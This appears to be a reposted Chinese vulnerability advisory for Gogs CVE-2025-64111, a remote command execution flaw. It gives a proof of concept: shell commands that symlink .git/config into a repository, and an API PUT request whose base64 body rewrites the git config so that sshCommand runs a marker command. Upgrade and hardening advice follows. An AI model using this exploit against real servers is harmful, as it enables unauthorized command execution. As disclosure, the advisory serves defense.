文章总结： Gogs自托管Git服务存在高危远程命令执行漏洞CVE-2025-64111,影响0.13.3及之前版本,因对CVE-2024-56731补丁不足导致攻击者可通过更新.git目录文件实现RCE。攻击者利用符号链接和API写入恶意配置触发命令注入。建议立即升级至0.13.4或0.14.0+dev版本,或限制.git目录写入权限并加强网络隔离与监控。 综合评分： 85 文章分类： 漏洞预警,漏洞分析,安全运营,漏洞POC,安全建设

【高危漏洞预警】Gogs自托管Git服务远程命令执行漏洞CVE-2025-64111

cexlife cexlife

飓风网络安全

2026年2月10日 13:44 北京

漏洞描述:

Gоɡѕ是一个开源的自托管Git服务,广泛用于代码版本控制和项目管理,在0.13.3及之前版本中由于对CVE-2024-56731的补丁不足攻击者可以更新.ɡit目录中的文件并执行远程命令

攻击场景:

攻击者可利用该漏洞通过构造恶意请求,向.git目录中写入或修改文件进而触发命令注入实现未授权的远程代码执行,无需用户交互即可完成攻击

PoC

add a symlink file and push to repo.

ln -s .git/config link

git add link

git commit -m ‘add’ && git push

Update file via API router

PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1

Content-Type: application/json

Host: localhost:3000

Authorization: token {token}

{“message”:”message”,”committer”:{“name”:”test”,”email”:”[email protected]”},”content”:”W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy”}

影响产品:

Gogs < 0.13.4

升级到0.13.4或0.14.0+dеv版本

缓解方案:

限制.ɡit目录的文件更新权限,避免未授权的修改

建议措施:

立即升级：将Gogs服务升级至 0.13.4 或更高版本（推荐使用 0.14.0+ dev 版本以获取最新安全修复）

权限加固：若无法立即升级，应限制 .git 目录的写入权限，禁止非管理员用户修改其内容，建议通过Web服务器（如Nginx/Apache）配置禁止对 .git 路径的写入请求

网络隔离：将Gogs服务部署在内网或DMZ区，通过防火墙策略限制外部访问，仅允许可信IP访问

日志监控：启用Gogs访问日志与系统审计日志，监控对 .git 目录的异常写入行为，如发现 post-update 文件被修改，立即响应

定期扫描：使用漏洞扫描工具定期检测内部系统是否存在该漏洞

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：飓风网络安全 cexlife cexlife《【高危漏洞预警】Gogs自托管Git服务远程命令执行漏洞CVE-2025-64111》